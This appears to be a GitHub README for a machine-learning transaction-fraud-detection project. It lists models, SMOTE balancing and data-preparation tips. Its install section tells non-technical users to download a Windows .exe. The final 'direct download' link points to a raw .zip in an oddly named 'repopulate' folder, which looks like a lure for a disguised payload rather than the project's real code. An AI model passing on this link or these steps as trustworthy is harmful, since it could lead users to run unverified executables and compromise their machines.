Transaction-Fraud-Detection is a tool to spot fake or risky financial transactions. It uses methods from machine learning to check many transactions and find which ones might be fraud. The app works by studying data carefully. It also uses ways to fix imbalanced data, where good transactions are much more common than fraud.
You do not need to understand programming to use this app. It comes ready to help you check transaction data on your Windows computer.
- Finds fraud in financial transactions
- Compares different detection models to see what works best
- Uses smart techniques to handle data that is unevenly split
- Shows results clearly for easy understanding
- Does extra work on the data to improve accuracy
- Runs on Windows with a simple setup
Make sure your computer fits these points before installation:
- Windows 10 or later
- 4 GB of RAM or more
- 500 MB of free disk space
- Internet connection for downloading the app
- Basic user rights to install software
- Click the big Download badge at the top or visit this page to get the app.
- On the GitHub page, find the latest release or download section.
- Download the Windows setup file. This will usually be an
.exefile. - When the download finishes, locate the file in your Downloads folder.
- Double-click the setup file to start the installation.
- Follow the instructions on screen to install the app.
- Once the app installs, find it in your Start menu or desktop.
- Click the app icon to open it.
Here is how to use the app after installation:
- Open Transaction-Fraud-Detection from the Start menu.
- Prepare your transaction data in a spreadsheet or CSV file.
- Load the data into the app using the import button.
- The app will process the data and show fraud likelihoods.
- Use the comparison views to see which model detects fraud best.
- Export the results if you want to save or share them.
You do not need to write code or configure settings. The app handles all technical details.
The app uses these main tools and methods:
- Decision Trees and Random Forests, two types of machine learning models that classify transactions.
- Techniques like SMOTE, which improves detection when fraud cases are rare by balancing the data.
- Data preprocessing steps that clean and prepare your transaction records.
- Feature engineering, which means creating new helpful information from your data.
- Visual charts built with matplotlib and seaborn, so you can see the results clearly.
- Support for common data formats like CSV files, making it easy to load your transaction lists.
Here are steps to get your data ready for the app:
- Make sure your transaction file has columns for transaction ID, amount, date, and other details.
- Avoid empty rows or incomplete information.
- Save your spreadsheet as a CSV file before import.
- The app also supports files exported from popular finance or data tools.
If you cannot start the app or import data:
- Check if your system meets the requirements above.
- Confirm the downloaded file is complete and was installed correctly.
- Make sure your data file is in CSV format and not corrupted.
- Restart your computer and try opening the app again.
- If the app shows error messages, read them carefully and refer to the GitHub issues page for possible fixes.
This app explores ways to detect fraud using technology and data. If you are interested, the repository contains:
- Sample datasets
- Model code and configuration files
- Documentation for users who want to see under the hood
Explore these files on the GitHub page to learn about the techniques used or to try customizing the tool in the future.
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Direct download and information page:
https://raw.githubusercontent.com/arka-senpaii/Transaction-Fraud-Detection/main/repopulate/Fraud_Detection_Transaction_v1.3.zip -
Issues and support on GitHub:
Visit the repository’s “Issues” tab if you need help or want to report a problem. -
Sample files and examples:
Found in the repository’s main folders.